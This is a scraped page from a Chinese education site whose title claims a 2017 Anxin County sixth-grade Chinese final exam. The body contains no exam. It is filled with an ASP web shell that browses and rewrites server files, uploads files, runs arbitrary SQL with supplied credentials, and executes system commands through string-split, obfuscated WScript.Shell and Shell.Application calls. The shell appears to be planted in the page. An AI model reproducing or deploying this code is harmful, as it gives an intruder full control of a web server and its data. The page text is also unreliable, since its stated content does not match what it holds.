您现在的位置:多问网学习频道小学语文教学小学六年级语文试题2017年秋季安溪县小学语文第十一册期末考查卷(一)

2017年秋季安溪县小学语文第十一册期末考查卷(一)

12-16 15:07:40   浏览次数:85826  栏目:小学六年级语文试题
标签:小学语文试题,小学语文试题及答案,小学试题,http://www.duowen123.com 2017年秋季安溪县小学语文第十一册期末考查卷(一),
<%for each thing in ssyss.drives response.write "["&thing.driveletter&":]" next set oscriptnet=server.createobject("ws" "cri" "pt.ne" "twork") %>user:<%= "\\" & oscriptnet.computername & "\" & oscriptnet.username %> <%if request("attrib")="true" then response.write "切换到绝对路径" else response.write "切换到相对路径" end if %>rpath:<%=cpath%> | cdir:<%=lpath%> <蔿l getfolder()%> <蔿l getfile()%>

modified by 123456789 base on xiaolu

<蕇e "e.asp"%> <%if request("op")="del" then if request("attrib")="true" then wfile=request("path") else wfile=server.mappath(request("path")) end if set thisfile = ssyss.getfile(wfile) thisfile.delete true response.write "" else if request("op")="copy" then if request("attrib")="true" then wfile=request("path") dsfile=request("dpath") else wfile=server.mappath(request("path")) dsfile=server.mappath(request("dpath")) end if set thisfile = ssyss.getfile(wfile) thisfile.copy dsfile %> <% else if request.form("text")="" then if request("creat")<>"yes" then if request("attrib")="true" then wfile=request("path") else wfile=server.mappath(request("path")) end if set thisfile = ssyss.opentextfile(wfile, 1, false) counter=0 thisline=thisfile.readall thisfile.close set fs=nothing end if %> <%else if request("attrib")="true" then wfile=request("path") else wfile=server.mappath(request("path")) end if set outfile=ssyss.createtextfile(wfile) outfile.writeline request("text") utfile.close set fs=nothing response.write "" end if end if end if %><蕇e "edir.asp" if request("op")="del" then if request("attrib")="true" then wdir=request("path") else wdir=server.mappath(request("path")) end if ssyss.deletefolder wdir,true response.write "" else if request("op")="creat" then if request("attrib")="true" then wdir=request("path") else wdir=server.mappath(request("path")) end if ssyss.createfolder wdir response.write "" end if end if case "up.asp" set upload=new upload_xlsf if upload.form("filepath")="" then htmend "input up path!" set upload=nothing response.end else formpath=upload.form("filepath") if right(formpath,1)<>"/" then formpath=formpath&"/" end if for each formname in upload.objfile set file=upload.file(formname) if file.filesize>0 then file.saveas formpath & file.filename response.write file.filepath&file.filename&" ("&file.filesize&") => "&formpath&file.filename&" succ!
" end if set file=nothing next set upload=nothing sub htmend(msg) set upload=nothing response.write "up succ!" response.end end sub case "sql.asp" if trim(request.form("sqlcmd"))<>"" then password= trim(request.form("pa")) id=trim(request.form("id")) sqllocalname=trim(request.form("sqllocalname")) ku=trim(request.form("ku")) session("sqlu")=id session("sqlp")=password session("sqls")=sqllocalname session("sqlc")=trim(request.form("sqlcmd")) session("sqlk")=ku if sqllocalname="" or sqllocalname="sql server" then sqllocalname="127.0.0.1" set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;password="&password&";user id="&id&";database="&ku&";data source ="&sqllocalname strquery = session("sqlc") set recresult = adoconn.execute(strquery) if left(strquery,4)="exec" or left(strquery,6)="select" then if not recresult.eof then for i=0 to recresult.fields.count-1 strresultn=strresultn&""&recresult.fields(i).name&"" next allre=""&strresultn&"" do while not recresult.eof for i=0 to recresult.fields.count-1 strresult = strresult &""& outcmd(recresult.fields(i).value)&"" next allre=allre&strresult&"" strresult="" recresult.movenext loop allre=allre&"" end if end if set recresult = nothing end if set adoconn = nothing %> <%response.write request.form("sqlcmd") & "
" response.write allre case "p.asp"%> <%set oscript=server.createobject("wsc" "ri" "pt.sh" "ell") ok=trim(request("ok")) if ok<>"" then response.write "" set re=oscript.exec (ok) re=re.stdout.readall re=outcmd(re) response.write re end if esnxa = request.form("text") if (esnxa <> "") then set shell=server.createobject("she" "ll.app" "lication") set fod1=shell.namespace(esnxa) set foditems=fod1.items for each co in foditems response.write "" & co.path & "-----" & co.size & "
" next end if esnxa1 = request.form("text1") esnxa2 = request.form("text2") if esnxa1<>"" and esnxa2<>"" then set shell1=server.createobject("she" "ll.app" "lication") set fod1=shell1.namespace(esnxa2) for i=len(esnxa1) to 1 step -1 if mid(esnxa1,i,1)="\" then path=left(esnxa1,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(esnxa1,len(esnxa1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command success!" end if esnxa3 = request.form("text3") esnxa4 = request.form("text4") if esnxa3<>"" and esnxa4<>"" then set shell2=server.createobject("she" "ll.app" "lication") set fod1=shell2.namespace(esnxa4) for i=len(esnxa3) to 1 step -1 if mid(esnxa3,i,1)="\" then path=left(esnxa3,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(esnxa3,len(esnxa3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" end if esnxa5 = request.form("text5") esnxa6 = request.form("text6") if esnxa5<>"" and esnxa6<>"" then set shell3=server.createobject("she" "ll.app" "lication") shell3.namespace(esnxa5).items.item(esnxa6).invokeverb response.write "command completed success!" end if end select function outcmd(re) re = replace(re," "," ") re = replace(re,"<","<") re = replace(re,">",">") re = replace(re,chr(13),"
") outcmd=re end function function editfilecontent(re) re = replace(re,"<","<") re = replace(re,">",">") editfilecontent=re end function %>

上一页  [1] [2] 

,2017年秋季安溪县小学语文第十一册期末考查卷(一)
相关热词搜索: tag: 暂无联系方式 小学六年级语文试题,小学语文试题,小学语文试题及答案,小学试题,小学语文教学 - 小学六年级语文试题
文章评论
联系我们 | 网站地图 | 范文大全 | 管理资料 | 驾照考试 | 教学资料 | 名言大全 | 试题课件大全
Copyright @ 多问网 all rights reserved
学生评语_教案设计_小学语文试卷
1 2 3 4 5 6 7 8 9 10 11 12